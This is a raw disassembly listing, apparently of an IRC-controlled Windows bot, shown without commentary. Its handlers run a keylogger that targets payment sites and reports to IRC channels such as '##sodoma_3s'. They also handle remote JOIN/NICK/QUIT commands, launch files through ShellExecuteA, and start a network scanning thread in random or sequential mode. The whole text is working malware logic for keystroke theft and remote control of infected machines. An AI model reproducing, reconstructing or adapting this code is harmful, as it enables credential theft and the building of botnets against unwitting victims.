push [ebp+var_8C]
push [ebp+arg_4]
call sub_40DC10
add esp, 28h
loc_413E50: ; CODE XREF: sub_40F6F1+471Fj
inc [ebp+arg_0]
cmp [ebp+arg_0], 0Ah
jl short loc_413DED
lea eax, [ebp+var_2DC]
push offset dword_435EBC
push eax
call sub_4173AC
pop ecx
pop ecx
loc_413E6C: ; CODE XREF: sub_40F6F1+46F3j
push offset aFrame ; "frame"
push edi
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_413F12
cmp [ebp+esi+var_8C], ebx
jz short loc_413EFF
cmp [ebp+esi+var_88], ebx
jz short loc_413EFF
cmp [ebp+esi+var_84], ebx
jz short loc_413EFF
mov eax, [ebp+esi+var_80]
cmp eax, ebx
jz short loc_413EFF
push eax
call sub_41791F
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41791F
pop ecx
push eax
push [ebp+esi+var_88]
call sub_41791F
pop ecx
push eax
push [ebp+esi+var_8C]
call sub_408755
add esp, 10h
test eax, eax
jnz short loc_413EF8
push [ebp+esi+var_8C]
lea eax, [ebp+var_2DC]
push offset dword_435E78
push eax
call sub_4173AC
add esp, 0Ch
jmp short loc_413F12
; ---------------------------------------------------------------------------
loc_413EF8: ; CODE XREF: sub_40F6F1+47E8j
push offset dword_435E34
jmp short loc_413F04
; ---------------------------------------------------------------------------
loc_413EFF: ; CODE XREF: sub_40F6F1+4797j
; sub_40F6F1+47A0j ...
push offset dword_435DEC
loc_413F04: ; CODE XREF: sub_40F6F1+480Cj
lea eax, [ebp+var_2DC]
push eax
call sub_4173AC
pop ecx
pop ecx
loc_413F12: ; CODE XREF: sub_40F6F1+478Aj
; sub_40F6F1+4805j
push offset aVideo ; "video"
push edi
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_41455C
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_413FAB
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_0], eax
jz short loc_413FAB
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_10], eax
jz short loc_413FAB
mov edi, [ebp+esi+var_80]
cmp edi, ebx
jz short loc_413FAB
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_413FAB
push esi
call sub_41791F
pop ecx
push eax
push edi
call sub_41791F
pop ecx
push eax
push [ebp+arg_10]
call sub_41791F
pop ecx
push eax
push [ebp+arg_0]
call sub_41791F
pop ecx
push eax
push [ebp+arg_18]
call sub_40894E
add esp, 14h
test eax, eax
jnz short loc_413FA1
push [ebp+arg_18]
push offset dword_435DB0
jmp loc_4121DF
; ---------------------------------------------------------------------------
loc_413FA1: ; CODE XREF: sub_40F6F1+48A1j
push offset dword_435D60
jmp loc_41454E
; ---------------------------------------------------------------------------
loc_413FAB: ; CODE XREF: sub_40F6F1+4842j
; sub_40F6F1+4850j ...
push offset dword_435D14
jmp loc_41454E
; ---------------------------------------------------------------------------
loc_413FB5: ; CODE XREF: sub_40F6F1+208Cj
; sub_40F6F1+20A3j
push edi
push 1Bh
push offset aKeylog_0 ; "Keylog"
push offset a_n_z_m_Keylog_ ; ".n.z.m. (keylog.p.l.g) .»»."
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
jmp loc_41078F
; ---------------------------------------------------------------------------
loc_413FD6: ; CODE XREF: sub_40F6F1+205Ej
; sub_40F6F1+2075j
push 1Bh
call sub_4170A0
test eax, eax
pop ecx
jle short loc_413FEC
push offset a_n_z_m_Keylo_0 ; ".n.z.m. (keylog.p.l.g) .»». Already ru"...
jmp loc_4115C4
; ---------------------------------------------------------------------------
loc_413FEC: ; CODE XREF: sub_40F6F1+48EFj
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_4F4], eax
mov eax, [ebp+var_4]
mov [ebp+var_468], eax
mov eax, [ebp+var_8]
push offset aPay ; "pay"
mov [ebp+var_464], eax
mov [ebp+var_46C], ebx
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_414068
mov esi, [ebp+esi+var_8C]
mov [ebp+var_46C], 1
cmp esi, ebx
jnz short loc_41404F
mov esi, offset aSodoma_3s ; "##sodoma_3s"
push offset byte_43C63C
push esi
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_41404F
mov esi, [ebp+var_8C]
loc_41404F: ; CODE XREF: sub_40F6F1+4940j
; sub_40F6F1+4956j
push esi
lea eax, [ebp+var_4EC]
push 80h
push eax
call sub_41792A
push offset a_n_z_m_Keylo_1 ; ".n.z.m. (keylog.p.l.g) .»». Pay sites "...
jmp short loc_4140BB
; ---------------------------------------------------------------------------
loc_414068: ; CODE XREF: sub_40F6F1+492Bj
push edi
push offset aNormal_0 ; "normal"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_414138
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jnz short loc_4140A4
mov esi, offset aSodoma_3s ; "##sodoma_3s"
push offset byte_43C63C
push esi
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4140A4
mov esi, [ebp+var_8C]
loc_4140A4: ; CODE XREF: sub_40F6F1+4995j
; sub_40F6F1+49ABj
push esi
lea eax, [ebp+var_4EC]
push 80h
push eax
call sub_41792A
push offset a_n_z_m_Keylo_2 ; ".n.z.m. (keylog.p.l.g) .»». Normal key"...
loc_4140BB: ; CODE XREF: sub_40F6F1+4975j
lea eax, [ebp+var_2DC]
push eax
call sub_4173AC
add esp, 14h
lea eax, [ebp+var_2DC]
push ebx
push 1Bh
push eax
call sub_416E58
add esp, 0Ch
mov [ebp+var_4F0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F4]
push ebx
push eax
push offset sub_402368
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_4F0]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_414127
loc_414111: ; CODE XREF: sub_40F6F1+4A34j
cmp [ebp+var_460], ebx
jnz loc_4115D2
push 32h
nop
call near ptr 7C802442h
jmp short loc_414111
; ---------------------------------------------------------------------------
loc_414127: ; CODE XREF: sub_40F6F1+4A1Ej
nop
call near ptr 7C910331h
push eax
push offset a_n_z_m_Keylo_3 ; ".n.z.m. (keylog.p.l.g) .»». Failed to "...
jmp loc_4145E5
; ---------------------------------------------------------------------------
loc_414138: ; CODE XREF: sub_40F6F1+4986j
push offset a_n_z_m_Keylo_4 ; ".n.z.m. (keylog.p.l.g) .»». Unknow mod"...
jmp loc_412573
; ---------------------------------------------------------------------------
loc_414142: ; CODE XREF: sub_40F6F1+1D76j
; sub_40F6F1+1D8Dj
push offset aR ; "r"
push edi
call sub_41823A
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_4141BC
mov ebx, 200h
push esi
lea eax, [ebp+var_2DC]
push ebx
push eax
call sub_4186EC
add esp, 0Ch
loc_41416B: ; CODE XREF: sub_40F6F1+4AA9j
test eax, eax
jz short loc_41419C
push 1
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40DC10
push esi
lea eax, [ebp+var_2DC]
push ebx
push eax
call sub_4186EC
add esp, 20h
jmp short loc_41416B
; ---------------------------------------------------------------------------
loc_41419C: ; CODE XREF: sub_40F6F1+4A7Cj
push esi
call sub_4180DC
push edi
lea eax, [ebp+var_2DC]
push offset dword_435B90
push eax
call sub_4173AC
add esp, 10h
jmp loc_411A54
; ---------------------------------------------------------------------------
loc_4141BC: ; CODE XREF: sub_40F6F1+4A62j
push edi
push offset dword_435B60
loc_4141C2: ; CODE XREF: sub_40F6F1+4DF4j
; sub_40F6F1+4DFEj ...
lea eax, [ebp+var_2DC]
push eax
call sub_4173AC
add esp, 0Ch
jmp loc_411A33
; ---------------------------------------------------------------------------
loc_4141D6: ; CODE XREF: sub_40F6F1+1D48j
; sub_40F6F1+1D5Fj
cmp [ebp+var_C], ebx
jz loc_415956
push edi
push [ebp+var_C]
call sub_417980
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_415956
push offset asc_4285AC ; "\n"
push esi
call sub_417A10
push esi
call sub_40B82D
add esp, 0Ch
test eax, eax
jnz short loc_414216
push offset dword_435B24
jmp loc_41454E
; ---------------------------------------------------------------------------
loc_414216: ; CODE XREF: sub_40F6F1+4B19j
push esi
push offset dword_435AFC
jmp loc_41544F
; ---------------------------------------------------------------------------
loc_414221: ; CODE XREF: sub_40F6F1+1D1Aj
; sub_40F6F1+1D31j
cmp [ebp+var_C], ebx
jz loc_415956
push edi
push [ebp+var_C]
call sub_417980
pop ecx
cmp eax, ebx
pop ecx
jz loc_415956
push eax
call sub_40AA6F
test eax, eax
pop ecx
jnz short loc_414252
push offset unk_435AD0
jmp loc_41454E
; ---------------------------------------------------------------------------
loc_414252: ; CODE XREF: sub_40F6F1+4B55j
push offset dword_435AA4
jmp loc_41454E
; ---------------------------------------------------------------------------
loc_41425C: ; CODE XREF: sub_40F6F1+1CECj
; sub_40F6F1+1D03j
push 7Fh
lea eax, [ebp+var_6EC]
push edi
push eax
call sub_4182F0
mov esi, [ebp+esi+var_8C]
add esp, 0Ch
cmp esi, ebx
jz short loc_41428B
push 7Fh
lea eax, [ebp+var_66C]
push esi
push eax
call sub_4182F0
add esp, 0Ch
loc_41428B: ; CODE XREF: sub_40F6F1+4B86j
push 7Fh
lea eax, [ebp+var_5EC]
push [ebp+var_8C]
push eax
call sub_4182F0
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_6F0], eax
mov eax, [ebp+var_8]
mov [ebp+var_568], eax
mov eax, [ebp+var_4]
mov [ebp+var_564], eax
lea eax, [ebp+var_2DC]
push offset dword_435A7C
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push 15h
push eax
call sub_416E58
add esp, 24h
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_6F0]
push ebx
push eax
push offset sub_40C1D5
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_414329
loc_414313: ; CODE XREF: sub_40F6F1+4C36j
cmp [ebp+var_560], ebx
jnz loc_41545E
push 32h
nop
call near ptr 7C802442h
jmp short loc_414313
; ---------------------------------------------------------------------------
loc_414329: ; CODE XREF: sub_40F6F1+4C20j
nop
call near ptr 7C910331h
push eax
push offset unk_435A30
jmp loc_41544F
; ---------------------------------------------------------------------------
loc_41433A: ; CODE XREF: sub_40F6F1+1CBEj
; sub_40F6F1+1CD5j
push ebx
push [ebp+var_8C]
push [ebp+arg_4]
push edi
call sub_4062F7
push edi
push offset dword_435A0C
jmp loc_4139F5
; ---------------------------------------------------------------------------
loc_414355: ; CODE XREF: sub_40F6F1+1C90j
; sub_40F6F1+1CA7j
push 14h
lea eax, [ebp+var_708]
push ebx
push eax
call sub_417430
push edi
lea eax, [ebp+var_6F4]
push offset dword_42433C
push eax
call sub_4173AC
mov eax, [ebp+arg_4]
mov [ebp+var_710], eax
lea eax, [ebp+var_D8]
push eax
lea eax, [ebp+var_5F0]
push 80h
push eax
call sub_41792A
mov eax, [ebp+var_4]
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_5F0]
push eax
lea eax, [ebp+var_6F4]
push eax
lea eax, [ebp+var_2DC]
push offset dword_4359D8
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push 12h
push eax
call sub_416E58
add esp, 40h
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_710]
push ebx
push eax
push offset sub_40CAB4
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_414425
loc_41440F: ; CODE XREF: sub_40F6F1+4D32j
cmp [ebp+var_560], ebx
jnz loc_4157D0
push 32h
nop
call near ptr 7C802442h
jmp short loc_41440F
; ---------------------------------------------------------------------------
loc_414425: ; CODE XREF: sub_40F6F1+4D1Cj
nop
call near ptr 7C910331h
push eax
push offset dword_438038
jmp loc_4157C1
; ---------------------------------------------------------------------------
loc_414436: ; CODE XREF: sub_40F6F1+1C62j
; sub_40F6F1+1C79j
push edi
nop
call near ptr 7C831EABh
test eax, eax
jz short loc_414449
push edi
push offset dword_4359AC
jmp short loc_414454
; ---------------------------------------------------------------------------
loc_414449: ; CODE XREF: sub_40F6F1+4D4Ej
push offset dword_43649C
call sub_40A9AA
push eax
loc_414454: ; CODE XREF: sub_40F6F1+4D56j
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_41792A
add esp, 10h
jmp loc_411A33
; ---------------------------------------------------------------------------
loc_41446D: ; CODE XREF: sub_40F6F1+1C34j
; sub_40F6F1+1C4Bj
push edi
call sub_41791F
push eax
call sub_415EA0
pop ecx
pop ecx
push 1
pop esi
cmp eax, esi
push edi
jnz short loc_41448A
push offset unk_435974
jmp short loc_41448F
; ---------------------------------------------------------------------------
loc_41448A: ; CODE XREF: sub_40F6F1+4D90j
push offset unk_435930
loc_41448F: ; CODE XREF: sub_40F6F1+4D97j
lea eax, [ebp+var_2DC]
push eax
call sub_4173AC
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_411A57
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40DC10
add esp, 14h
jmp loc_411A57
; ---------------------------------------------------------------------------
loc_4144C8: ; CODE XREF: sub_40F6F1+1C06j
; sub_40F6F1+1C1Dj
push ebx
push ebx
push edi
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_415B93
add esp, 18h
cmp eax, 1
push edi
jnz short loc_4144EA
push offset unk_4358FC
jmp loc_4141C2
; ---------------------------------------------------------------------------
loc_4144EA: ; CODE XREF: sub_40F6F1+4DEDj
push offset unk_4358BC
jmp loc_4141C2
; ---------------------------------------------------------------------------
loc_4144F4: ; CODE XREF: sub_40F6F1+1BD8j
; sub_40F6F1+1BEFj
push edi
call dword_4413F8 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_41452E
push 2
lea eax, [ebp+arg_0]
push 4
push eax
call dword_441370 ; gethostbyaddr
cmp eax, ebx
jz short loc_414549
push dword ptr [eax]
loc_414517: ; CODE XREF: sub_40F6F1+4E56j
push edi
lea eax, [ebp+var_2DC]
push offset dword_435890
push eax
call sub_4173AC
add esp, 10h
jmp short loc_41455C
; ---------------------------------------------------------------------------
loc_41452E: ; CODE XREF: sub_40F6F1+4E10j
push edi
call dword_44143C ; gethostbyname
cmp eax, ebx
jz short loc_414549
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_441444 ; inet_ntoa
push eax
jmp short loc_414517
; ---------------------------------------------------------------------------
loc_414549: ; CODE XREF: sub_40F6F1+4E22j
; sub_40F6F1+4E46j
push offset dword_435858
loc_41454E: ; CODE XREF: sub_40F6F1+3F25j
; sub_40F6F1+40B1j ...
lea eax, [ebp+var_2DC]
push eax
call sub_4173AC
pop ecx
pop ecx
loc_41455C: ; CODE XREF: sub_40F6F1+2AFDj
; sub_40F6F1+3C34j ...
cmp [ebp+var_8], ebx
jnz loc_41545E
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40DC10
add esp, 14h
jmp loc_41545E
; ---------------------------------------------------------------------------
loc_414586: ; CODE XREF: sub_40F6F1+1BAAj
; sub_40F6F1+1BC1j
push 7Fh
push edi
push [ebp+arg_14]
call sub_4182F0
push edi
lea eax, [ebp+var_2DC]
push offset dword_435824
push eax
call sub_4173AC
add esp, 18h
jmp loc_4115D2
; ---------------------------------------------------------------------------
loc_4145AB: ; CODE XREF: sub_40F6F1+1B7Cj
; sub_40F6F1+1B93j
push 5
push ebx
push ebx
push edi
push offset aOpen ; "open"
push ebx
call dword_44132C ; ShellExecuteA
test eax, eax
push edi
jz short loc_4145CB
push offset unk_4357E8
jmp loc_4141C2
; ---------------------------------------------------------------------------
loc_4145CB: ; CODE XREF: sub_40F6F1+4ECEj
push offset unk_4357A4
jmp loc_4141C2
; ---------------------------------------------------------------------------
loc_4145D5: ; CODE XREF: sub_40F6F1+1B4Ej
; sub_40F6F1+1B65j
mov al, [edi]
mov byte_42ECF8, al
movsx eax, byte ptr [edi]
push eax
push offset dword_435770
loc_4145E5: ; CODE XREF: sub_40F6F1+1E9Fj
; sub_40F6F1+1EC9j ...
lea eax, [ebp+var_2DC]
push eax
call sub_4173AC
add esp, 0Ch
jmp loc_4115D2
; ---------------------------------------------------------------------------
loc_4145F9: ; CODE XREF: sub_40F6F1+1B20j
; sub_40F6F1+1B37j
push edi
call sub_41791F
test eax, eax
pop ecx
jle loc_415956
push edi
call sub_41791F
cmp eax, 5DCh
pop ecx
jge loc_415956
push ebx
push ebx
lea eax, [ebp+var_B8]
push 1
push eax
push [ebp+arg_4]
call sub_4162D6
push eax
lea eax, [ebp+var_2DC]
push offset dword_436208
push eax
call sub_4173AC
add esp, 20h
jmp loc_41393F
; ---------------------------------------------------------------------------
loc_414647: ; CODE XREF: sub_40F6F1+1AF2j
; sub_40F6F1+1B09j
push edi
call sub_41791F
test eax, eax
pop ecx
jle loc_40FAB8
push edi
call sub_41791F
cmp eax, 5DCh
pop ecx
jge loc_40FAB8
push offset aQuitLater ; "QUIT :later\r\n"
push edi
call sub_41791F
imul eax, 234h
pop ecx
push dword_446E1C[eax]
call sub_40DBCA
pop ecx
pop ecx
push 1F4h
nop
call near ptr 7C802442h
push edi
call sub_41791F
imul eax, 234h
pop ecx
push dword_446E1C[eax]
call dword_441450 ; closesocket
push [ebp+var_10]
push edi
call sub_41791F
imul eax, 234h
pop ecx
push dword_446E24[eax]
nop
call near ptr 7C81CE03h
push edi
call sub_41791F
imul eax, 234h
push edi
mov dword_446E24[eax], ebx
call sub_41791F
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_446C10[eax], bl
jmp loc_40FAB8
; ---------------------------------------------------------------------------
loc_4146F2: ; CODE XREF: sub_40F6F1+1AC4j
; sub_40F6F1+1ADBj
push edi
push offset aAll ; "all"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_414721
call sub_417021
cmp eax, ebx
jle short loc_414717
push eax
push offset dword_435724
jmp loc_412258
; ---------------------------------------------------------------------------
loc_414717: ; CODE XREF: sub_40F6F1+5019j
push offset dword_4356EC
jmp loc_412573
; ---------------------------------------------------------------------------
loc_414721: ; CODE XREF: sub_40F6F1+5010j
mov eax, [ebp+var_C0]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_40FAB8
lea eax, [ebp+edi*4+var_94]
mov [ebp+arg_24], eax
loc_41473D: ; CODE XREF: sub_40F6F1+50BDj
mov eax, [ebp+arg_24]
mov esi, [eax]
cmp esi, ebx
jz loc_40FAB8
push esi
call sub_41791F
push eax
call sub_416F93
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_414764
push offset dword_4356B8
jmp short loc_414769
; ---------------------------------------------------------------------------
loc_414764: ; CODE XREF: sub_40F6F1+506Aj
push offset dword_43567C
loc_414769: ; CODE XREF: sub_40F6F1+5071j
lea eax, [ebp+var_2DC]
push eax
call sub_4173AC
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_414799
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40DC10
add esp, 14h
loc_414799: ; CODE XREF: sub_40F6F1+508Aj
lea eax, [ebp+var_2DC]
push eax
call sub_40C4F7
add [ebp+arg_24], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_41473D
jmp loc_40FAB8
; ---------------------------------------------------------------------------
loc_4147B5: ; CODE XREF: sub_40F6F1+1A96j
; sub_40F6F1+1AADj
cmp [ebp+var_C], ebx
jz loc_415956
push edi
push [ebp+var_C]
call sub_417980
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_415956
push esi
push offset dword_425A78
push [ebp+arg_4]
call sub_40DBCA
push esi
push offset dword_435654
jmp loc_413B21
; ---------------------------------------------------------------------------
loc_4147EC: ; CODE XREF: sub_40F6F1+1A68j
; sub_40F6F1+1A7Fj
push edi
push offset dword_436138
push [ebp+arg_4]
call sub_40DBCA
push edi
push offset dword_435624
jmp loc_413B21
; ---------------------------------------------------------------------------
loc_414805: ; CODE XREF: sub_40F6F1+1A3Aj
; sub_40F6F1+1A51j
push [ebp+esi+var_8C]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40DBCA
push edi
push offset dword_4355F4
jmp loc_4139F5
; ---------------------------------------------------------------------------
loc_414825: ; CODE XREF: sub_40F6F1+1A0Cj
; sub_40F6F1+1A23j
push edi
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_40DBCA
push edi
push offset dword_4355C0
jmp loc_413B21
; ---------------------------------------------------------------------------
loc_41483E: ; CODE XREF: sub_40F6F1+19CFj
; sub_40F6F1+19E6j
mov al, byte_42ED3A
mov [ebp+arg_24], ebx
cmp al, bl
mov edx, offset byte_42ED3A
jz loc_40FAB8
mov ecx, edx
loc_414855: ; CODE XREF: sub_40F6F1+516Cj
inc [ebp+arg_24]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_414855
cmp al, bl
jz loc_40FAB8
mov [ebp+arg_0], edx
loc_41486A: ; CODE XREF: sub_40F6F1+542Cj
push 8
call sub_4170A0
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_24]
add eax, ecx
cmp eax, 3E8h
jle short loc_4148B7
push ecx
lea eax, [ebp+var_2DC]
push offset unk_436A90
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push edi
call sub_40DC10
add esp, 20h
jmp loc_414B14
; ---------------------------------------------------------------------------
loc_4148B7: ; CODE XREF: sub_40F6F1+5193j
or [ebp+var_314], 0FFFFFFFFh
cmp dword_428BF8, ebx
mov [ebp+var_318], 0FAh
mov [ebp+var_32C], 5
mov [ebp+var_328], ebx
mov [ebp+arg_24], ebx
jz short loc_414924
mov esi, offset dword_428BF8
loc_4148E8: ; CODE XREF: sub_40F6F1+5215j
mov eax, [ebp+arg_0]
add eax, 0FFFFFFF6h
push eax
lea eax, [esi-28h]
push eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz short loc_41490A
inc [ebp+arg_24]
add esi, 3Ch
cmp [esi], ebx
jnz short loc_4148E8
jmp short loc_414924
; ---------------------------------------------------------------------------
loc_41490A: ; CODE XREF: sub_40F6F1+520Bj
mov eax, [ebp+arg_24]
mov ecx, eax
mov [ebp+var_314], eax
imul ecx, 3Ch
mov ecx, dword_428BF8[ecx]
mov [ebp+var_330], ecx
loc_414924: ; CODE XREF: sub_40F6F1+51F0j
; sub_40F6F1+5217j
cmp [ebp+var_330], ebx
jz loc_414B28
push 10h
lea eax, [ebp+arg_18]
pop esi
push eax
lea eax, [ebp+var_2EC]
push eax
push edi
mov [ebp+arg_18], esi
call dword_44135C ; getsockname
mov al, [ebp+var_9C7]
push esi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2E8], eax
push [ebp+var_2E8]
call dword_441444 ; inet_ntoa
push eax
lea eax, [ebp+var_444]
push eax
call sub_4182F0
xor eax, eax
cmp [ebp+var_9C7], bl
push 30h
setnz al
inc eax
inc eax
mov esi, eax
lea eax, [ebp+var_444]
push eax
call sub_4185F0
add esp, 14h
cmp esi, ebx
mov byte ptr [ebp+arg_4+3], bl
jle short loc_4149C4
loc_4149A2: ; CODE XREF: sub_40F6F1+52D1j
cmp eax, ebx
jz short loc_4149C4
mov byte ptr [eax], 78h
lea eax, [ebp+var_444]
push 30h
push eax
call sub_4185F0
inc byte ptr [ebp+arg_4+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_4+3]
cmp ecx, esi
jl short loc_4149A2
loc_4149C4: ; CODE XREF: sub_40F6F1+52AFj
; sub_40F6F1+52B3j
mov eax, [ebp+var_4]
push [ebp+var_8C]
mov [ebp+var_30C], eax
mov eax, [ebp+var_8]
mov [ebp+var_308], eax
mov esi, 80h
lea eax, [ebp+var_434]
push esi
push eax
mov [ebp+var_304], 1
mov [ebp+var_334], edi
call sub_41792A
push offset byte_43C63C
push offset aSodoma_3e ; "##sodoma_3e"
call sub_4177D0
add esp, 14h
test eax, eax
jz short loc_414A2B
push offset aSodoma_3e ; "##sodoma_3e"
lea eax, [ebp+var_3B4]
push esi
push eax
call sub_41792A
add esp, 0Ch
jmp short loc_414A31
; ---------------------------------------------------------------------------
loc_414A2B: ; CODE XREF: sub_40F6F1+5321j
mov [ebp+var_3B4], bl
loc_414A31: ; CODE XREF: sub_40F6F1+5338j
cmp [ebp+var_304], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_414A43
mov eax, offset aSequential ; "Sequential"
loc_414A43: ; CODE XREF: sub_40F6F1+534Bj
push [ebp+var_318]
lea ecx, [ebp+var_444]
push [ebp+var_328]
push [ebp+var_32C]
push [ebp+var_330]
push ecx
push eax
lea eax, [ebp+var_2DC]
push offset unk_435548
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push 8
push eax
call sub_416E58
add esp, 2Ch
mov [ebp+var_324], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_444]
push ebx
push eax
push offset sub_4078E6
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_324]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_414ACD
loc_414ABB: ; CODE XREF: sub_40F6F1+53DAj
cmp [ebp+var_300], ebx
jnz short loc_414AE8
push 32h
nop
call near ptr 7C802442h
jmp short loc_414ABB
; ---------------------------------------------------------------------------
loc_414ACD: ; CODE XREF: sub_40F6F1+53C8j
nop
call near ptr 7C910331h
push eax
lea eax, [ebp+var_2DC]
push offset unk_43693C
push eax
call sub_4173AC
add esp, 0Ch
loc_414AE8: ; CODE XREF: sub_40F6F1+53D0j
cmp [ebp+var_8], ebx
jnz short loc_414B07
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push edi
call sub_40DC10
add esp, 14h
loc_414B07: ; CODE XREF: sub_40F6F1+53FAj
lea eax, [ebp+var_2DC]
push eax
call sub_40C4F7
pop ecx
loc_414B14: ; CODE XREF: sub_40F6F1+51C1j
add [ebp+arg_0], 0Bh
mov eax, [ebp+arg_0]
cmp [eax], bl
jnz loc_41486A
jmp loc_40FAB8
; ---------------------------------------------------------------------------
loc_414B28: ; CODE XREF: sub_40F6F1+5239j
push offset unk_436A4C
jmp loc_414FAD
; ---------------------------------------------------------------------------
loc_414B32: ; CODE XREF: sub_40F6F1+19A1j
; sub_40F6F1+19B8j
push [ebp+var_8C]
lea eax, [ebp+var_A4]
push 80h
push eax
call sub_41792A
mov eax, [ebp+var_4]
push offset unk_435510
mov [ebp+var_20], eax
mov eax, [ebp+var_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_2DC]
push 200h
push eax
mov [ebp+var_A8], edi
call sub_41792A
push ebx
lea eax, [ebp+var_2DC]
push 1Eh
push eax
call sub_416E58
add esp, 24h
mov [ebp+var_24], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A8]
push ebx
push eax
push offset sub_408FAC
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_24]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_414BC5
loc_414BB2: ; CODE XREF: sub_40F6F1+54D2j
cmp [ebp+var_18], ebx
jnz loc_4157D0
push 32h
nop
call near ptr 7C802442h
jmp short loc_414BB2
; ---------------------------------------------------------------------------
loc_414BC5: ; CODE XREF: sub_40F6F1+54BFj
nop
call near ptr 7C910331h
push eax
push offset unk_4354C4
jmp loc_4157C1
; ---------------------------------------------------------------------------
loc_414BD6: ; CODE XREF: sub_40F6F1+1973j
; sub_40F6F1+198Aj
push 4
call sub_4170A0
test eax, eax
pop ecx
jle short loc_414BFA
lea eax, [ebp+var_2DC]
push offset unk_435498
push eax
call sub_4173AC
pop ecx
pop ecx
jmp loc_4158C0
; ---------------------------------------------------------------------------
loc_414BFA: ; CODE XREF: sub_40F6F1+54EFj
mov eax, [ebp+esi+var_90]
cmp eax, ebx
jz short loc_414C1C
push eax
lea eax, [ebp+var_7FC]
push 104h
push eax
call sub_41792A
add esp, 0Ch
jmp short loc_414C2F
; ---------------------------------------------------------------------------
loc_414C1C: ; CODE XREF: sub_40F6F1+5512j
lea eax, [ebp+var_7FC]
push 104h
push eax
push ebx
nop
call near ptr 7C80B4CFh
loc_414C2F: ; CODE XREF: sub_40F6F1+5529j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jnz short loc_414C3F
mov esi, offset byte_42EDC4
loc_414C3F: ; CODE XREF: sub_40F6F1+5547j
push esi
lea eax, [ebp+var_6F8]
push 104h
push eax
call sub_41792A
mov eax, dword_42ECE4
push 7Fh
push [ebp+var_8C]
mov [ebp+var_5EC], eax
lea eax, [ebp+var_5E8]
mov [ebp+var_5F0], ebx
push eax
mov [ebp+var_800], edi
call sub_4182F0
mov eax, [ebp+var_4]
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_6F8]
push eax
lea eax, [ebp+var_7FC]
push eax
lea eax, [ebp+var_2DC]
